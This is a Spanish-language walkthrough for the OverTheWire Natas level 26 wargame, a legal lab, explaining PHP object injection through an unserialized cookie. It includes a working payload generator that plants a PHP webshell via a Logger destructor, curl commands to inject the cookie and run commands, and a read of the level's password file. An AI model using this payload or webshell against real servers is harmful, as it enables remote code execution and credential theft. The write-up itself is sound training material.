Natas Nivel 26 a 27
Nivel oficial: http://natas26.natas.labs.overthewire.org
Este nivel introduce PHP Object Injection (deserializacion insegura): la aplicacion pasa una cookie directamente a unserialize() sin validar su contenido. Eso permite construir un objeto PHP arbitrario que, al ser destruido al final de la peticion, ejecuta codigo en el servidor y escribe un webshell.
Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).
Objetivo
Abusar de la deserializacion de una cookie para instanciar un objeto Logger manipulado cuyo metodo magico __destruct() escriba un archivo .php con un payload en el webroot. Luego visitar ese archivo para leer la contrasena de natas27.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
unserialize() en PHP | Reconstruye un objeto PHP desde una cadena; ejecuta metodos magicos automaticamente |
Metodos magicos __wakeup / __destruct | Se invocan al deserializar y al destruir el objeto; son el vector de ejecucion |
| PHP Object Injection | Pasar a unserialize() un objeto de clase arbitraria con propiedades controladas |
base64_encode / base64_decode | La cookie suele ir en base64; hay que codificar el payload en el mismo formato |
| Webshell minimo | Archivo .php con <?php system($_GET['cmd']); ?> para ejecutar comandos |
curl / navegador | Visitar el webshell para exfiltrar la contrasena |
Concepto clave: deserializacion insegura / PHP Object Injection
PHP permite serializar cualquier objeto a cadena (serialize()) y reconstruirlo (unserialize()). Durante la reconstruccion se invocan automaticamente los metodos magicos definidos en la clase:
__wakeup()— justo despues de deserializar.__destruct()— cuando el objeto es destruido (al final del script).
Si el atacante controla el contenido que llega a unserialize() y en el codigo existe una clase cuyo __destruct() realiza operaciones peligrosas (escribir ficheros, ejecutar comandos, etc.), puede fabricar una cadena serializada que instancie esa clase con las propiedades que quiera. Esta tecnica se llama POP chain (Property-Oriented Programming) cuando encadena varios objetos; aqui la cadena es de un solo eslabon porque la clase Logger hace todo en su propio destructor.
La vulnerabilidad fundamental es confiar en datos que el cliente puede modificar (una cookie) como si fueran datos internos de la aplicacion.
Paso a paso
1. Reconocimiento: leer el codigo fuente
Accede al nivel con las credenciales de natas26 (<pass_natas26>):
http://natas26.natas.labs.overthewire.org
El enlace "sourcecode" (o el parametro ?showsource=1 segun la version) muestra el PHP del nivel. Localiza:
- La clase
Loggery sus propiedades (tipicamente$logFile,$exitMsgo nombres similares). - El metodo
__destruct(): suele hacer algo equivalente afile_put_contents($this->logFile, $this->exitMsg). - La linea donde se llama a
unserialize(base64_decode($_COOKIE['drawing']))(el nombre exacto de la cookie puede variar).
Nota importante: los nombres exactos de las propiedades (
$logFile,$exitMsg, etc.) dependen del sourcecode real del nivel. Lee el codigo antes de construir el payload y adapta los nombres de las propiedades al lo que veas ahi.
2. Construir el objeto malicioso en PHP
Crea un script PHP local (gen_payload.php) que defina una copia de la clase Logger con las mismas propiedades que viste en el sourcecode, pero con los valores que tu controlas:
<?php
// Adapta los nombres de clase y propiedades exactamente como aparecen en el sourcecode de natas26
class Logger {
private $logFile; // nombre exacto segun sourcecode
private $exitMsg; // nombre exacto segun sourcecode
function __construct() {
// Ruta donde se escribira el webshell dentro del webroot de natas26
$this->logFile = "/var/www/natas/natas26/webshell.php";
// Contenido del fichero: un webshell minimo
$this->exitMsg = "<?php system(\$_GET['cmd']); ?>";
}
}
$obj = new Logger();
$serialized = serialize($obj);
echo base64_encode($serialized) . "\n";
?>Ejecuta el script para obtener el payload codificado:
php gen_payload.phpLa salida sera una cadena en base64 similar a (ejemplo ilustrativo, la tuya sera diferente):
Tzo2OiJMb2dnZXIiOjI6e3M6...base64...
3. Inyectar el payload como cookie
Usa curl para enviar una peticion al nivel con la cookie manipulada. Sustituye <PAYLOAD_BASE64> por la cadena que genero el script anterior y <pass_natas26> por la contrasena real:
curl -s \
-u natas26:<pass_natas26> \
--cookie "drawing=<PAYLOAD_BASE64>" \
"http://natas26.natas.labs.overthewire.org/index.php"Al terminar la peticion PHP destruye todos los objetos, __destruct() se ejecuta y escribe el archivo webshell.php en el webroot.
4. Verificar que el webshell existe
curl -s \
-u natas26:<pass_natas26> \
"http://natas26.natas.labs.overthewire.org/webshell.php?cmd=id"Si la respuesta incluye algo como uid=...www-data... el webshell esta activo.
5. Leer la contrasena de natas27
curl -s \
-u natas26:<pass_natas26> \
"http://natas26.natas.labs.overthewire.org/webshell.php?cmd=cat+/etc/natas_webpass/natas27"La respuesta contendra la contrasena (<pass_natas27>).
Por que funciona
unserialize() en PHP no es una operacion neutra: reconstruye un grafo de objetos completo, incluyendo su clase y sus propiedades, e invoca los metodos magicos sin ninguna intervencion del programador. Si el atacante puede elegir que clase se instancia y con que valores de propiedades, puede redirigir el flujo de ejecucion hacia cualquier metodo peligroso que exista en el codigo cargado.
La clave de este nivel es que la clase Logger ya existe en el codigo de la aplicacion y su destructor escribe un fichero con contenido arbitrario. El atacante no necesita introducir codigo nuevo: solo necesita fabricar una instancia de esa clase con $logFile apuntando a una ruta accesible via HTTP y $exitMsg conteniendo un webshell PHP. El motor de PHP hace el resto al destruir el objeto.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
El fichero .php no se crea | Nombres de propiedades en el payload no coinciden con el sourcecode real | Leer el sourcecode con atencion; PHP es sensible al tipo (private/protected/public) en la serializacion |
| Error de deserializacion / objeto ignorado | La clase Logger no esta definida cuando se llama a unserialize() | Asegurate de que la aplicacion incluye el fichero de definicion de la clase antes del unserialize(); si no, el objeto se crea como __PHP_Incomplete_Class y __destruct() no se invoca |
| Ruta del webshell no accesible via HTTP | Se escribio en una ruta fuera del webroot | Busca en el sourcecode donde se guardan otros ficheros del nivel para deducir la ruta correcta del webroot |
| El webshell se crea pero no ejecuta comandos | La funcion system() esta deshabilitada (disable_functions) | Probar alternativas: passthru(), shell_exec(), exec(), o leer ficheros directamente con file_get_contents() |
Pasar al siguiente nivel
La contrasena obtenida (<pass_natas27>) se usa para acceder a:
http://natas27.natas.labs.overthewire.org
Usuario: natas27 | Contrasena: <pass_natas27>